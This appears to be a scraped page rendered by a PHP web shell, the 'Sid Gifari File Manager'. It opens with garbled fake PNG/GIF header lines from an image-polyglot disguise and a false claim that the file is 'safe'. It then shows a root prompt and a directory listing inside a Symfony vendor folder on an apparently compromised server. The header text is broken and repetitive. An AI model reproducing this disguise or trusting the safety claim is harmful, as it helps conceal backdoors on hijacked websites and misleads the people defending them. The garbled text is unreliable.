$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-12

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

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Sid Gifari File Manager

🏠 Root / home / forge / backfron.com / vendor / symfony / mime / Test / Constraint /
root@Sid-Gifari:/home/forge/backfron.com/vendor/symfony/mime/Test/Constraint$


NameSizePermAction
📄 EmailAddressContains.php 2054 bytes
📄 EmailAttachmentCount.php 1410 bytes
📄 EmailHasHeader.php 1183 bytes
📄 EmailHeaderSame.php 1750 bytes
📄 EmailHtmlBodyContains.php 1308 bytes
📄 EmailSubjectContains.php 1262 bytes
📄 EmailTextBodyContains.php 1308 bytes